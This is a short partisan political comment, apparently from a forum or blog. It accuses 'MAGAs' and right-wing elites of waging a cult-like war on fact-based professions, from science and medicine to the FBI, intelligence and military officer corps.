Want a pattern? Again, let me reiterate. Ask your MAGAs or right-elite friends to explain that cult's all-out war vs ALL fact using professions, from science and teaching, medicine and law and civil service to the heroes of the FBI/Intel/Military officer corps who won the Cold War and the War on terror.